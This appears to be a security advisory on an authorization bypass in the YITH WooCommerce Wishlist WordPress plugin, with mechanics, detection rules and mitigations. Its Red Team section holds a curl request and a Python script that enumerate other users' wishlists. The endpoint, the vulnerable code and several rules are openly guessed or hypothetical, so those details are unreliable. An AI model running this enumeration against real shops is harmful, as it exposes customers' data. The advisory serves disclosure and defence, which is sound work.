CVE-2026-27329

Executive Summary

CVE-2026-27329 is an Authorization Bypass Through User-Controlled Key vulnerability in the YITH WooCommerce Wishlist plugin for WordPress. This flaw allows an unauthenticated attacker to manipulate user-controlled keys (likely wishlist IDs or user tokens) to access, modify, or delete wishlists belonging to other users. The vulnerability affects all versions up to and including 4.12.0. With a CVSS score of 5.3 (Medium), the risk is elevated due to the lack of authentication required for exploitation and the potential for data exposure and manipulation. No public proof-of-concept (PoC) or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The YITH WooCommerce Wishlist plugin is distributed via the official WordPress plugin repository and commercial YITH channels. Users who have installed this plugin from any source are affected. There is no evidence of a compromised package, but the lack of a patch means the supply chain risk is high for any site running the vulnerable version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): Low (L) – Limited data exposure (wishlist contents).
• Integrity Impact (I): Low (L) – Limited data modification (wishlist items).
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to reading and modifying wishlist data. However, in an e-commerce context, this could lead to customer data leakage, order manipulation, or reputational damage.

Deep Dive & Mechanics

The YITH WooCommerce Wishlist plugin allows users to create and manage wishlists. The vulnerability stems from Insecure Direct Object Reference (IDOR) – specifically, the plugin uses user-controlled keys (e.g., wishlist_id or user_id parameters) to access wishlist data without proper authorization checks.

Attack Flow:

1. An attacker identifies a wishlist endpoint (e.g., /wp-json/yith/wishlist/v1/wishlist/{id} or a similar AJAX handler).
2. The attacker enumerates or guesses wishlist IDs (often sequential integers).
3. By sending a request with a different user’s wishlist ID, the server returns the wishlist data without verifying that the requester owns that wishlist.
4. The attacker can then read, add, or remove items from any wishlist.

Root Cause: The plugin fails to validate that the user_id or wishlist_id parameter in the request matches the authenticated user’s identity. In REST API endpoints or AJAX actions, the authorization check is either missing or incorrectly implemented.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (PHP – typical YITH pattern):

// In class-yith-wcwl-ajax.php or REST controller
function get_wishlist($wishlist_id) {
    $wishlist = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}yith_wcwl WHERE ID = %d", $wishlist_id
    ));
    return $wishlist;
}

Issue: No check that $wishlist->user_id matches get_current_user_id().

Patched Code (Hypothetical):

function get_wishlist($wishlist_id) {
    $wishlist = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}yith_wcwl WHERE ID = %d", $wishlist_id
    ));
    if (!$wishlist || $wishlist->user_id != get_current_user_id()) {
        wp_die('Unauthorized', 403);
    }
    return $wishlist;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with YITH WooCommerce Wishlist <= 4.12.0.
• A valid wishlist ID from another user (can be enumerated).

Exploitation Steps:

1. Enumerate Wishlist IDs: Use a simple script to iterate through IDs.
2. Access Wishlist: Send a GET request to the vulnerable endpoint.

Example cURL command:

curl -X GET "https://target.com/wp-json/yith/wishlist/v1/wishlist/123" \
  -H "Content-Type: application/json"

If the response contains wishlist data (items, user email, etc.), the vulnerability is confirmed.

Automated Exploit (Python):

import requests

target = "https://target.com"
for wid in range(1, 1000):
    r = requests.get(f"{target}/wp-json/yith/wishlist/v1/wishlist/{wid}")
    if r.status_code == 200 and "items" in r.json():
        print(f"Found wishlist {wid}: {r.json()}")

Blue Team (Detection & Hardening)

Detection:

• Monitor for sequential ID enumeration in logs (e.g., multiple 200 responses to /wp-json/yith/wishlist/v1/wishlist/* from the same IP).
• Alert on unauthorized access to wishlist endpoints without a valid nonce or authentication token.

Hardening:

• Implement a Web Application Firewall (WAF) rule to block requests to wishlist endpoints without a valid X-WP-Nonce header.
• Apply a virtual patch using a security plugin (e.g., Wordfence) to add authorization checks.
• Restrict access to the wishlist REST API to authenticated users only via .htaccess or server config.

Example WAF Rule (ModSecurity):

SecRule REQUEST_URI "@rx /wp-json/yith/wishlist/v1/wishlist/\d+" \
  "id:10001,phase:1,deny,status:403,msg:'YITH Wishlist IDOR attempt'"

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /wp-json/yith/wishlist/v1/wishlist/[0-9]+ from a single IP.
  • Unusual patterns of wishlist access without a valid X-WP-Nonce header.
• File IOCs:
  • Modified or unexpected entries in the wp_yith_wcwl database table.
• Log IOCs:
  • WordPress debug log entries showing yith_wcwl AJAX errors with missing user IDs.
  • Web server access logs with 200 responses to wishlist endpoints from unauthenticated sessions.

Detection Engineering

YARA Rule

rule yith_wishlist_idor_vuln {
    meta:
        description = "Detects vulnerable YITH WooCommerce Wishlist plugin code (CVE-2026-27329)"
        author = "Valters IT"
        date = "2026-01-01"
        hash = "unknown"
    strings:
        $func1 = "function get_wishlist" ascii nocase
        $func2 = "function add_item" ascii nocase
        $db_query = "SELECT * FROM {$wpdb->prefix}yith_wcwl" ascii nocase
        $no_auth = "get_current_user_id" ascii nocase
    condition:
        all of ($func1, $func2, $db_query) and not $no_auth
}

Sigma Rule

title: YITH WooCommerce Wishlist IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-27329 by enumerating wishlist IDs
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/wp-json/yith/wishlist/v1/wishlist/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate users accessing their own wishlists
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-27329 - YITH WooCommerce Wishlist IDOR Attempt";
    flow:to_server,established;
    content:"/wp-json/yith/wishlist/v1/wishlist/";
    http_uri;
    pcre:"/\/wp-json\/yith\/wishlist\/v1\/wishlist\/\d+/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if wishlist functionality is not critical.
2. Apply a virtual patch using a WAF or security plugin to block unauthenticated access to wishlist endpoints.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor (YITH) must release a patched version that implements proper authorization checks. Until then, consider replacing the plugin with an alternative that is actively maintained.

Workaround Code (for developers): Add the following to your theme’s functions.php to enforce authorization:

add_filter('yith_wcwl_get_wishlist', function($wishlist) {
    if (!is_user_logged_in() || $wishlist['user_id'] != get_current_user_id()) {
        return new WP_Error('unauthorized', 'You do not have permission to view this wishlist.', array('status' => 403));
    }
    return $wishlist;
});

Valters IT
DevSecOps & Cyber Threat Intelligence Division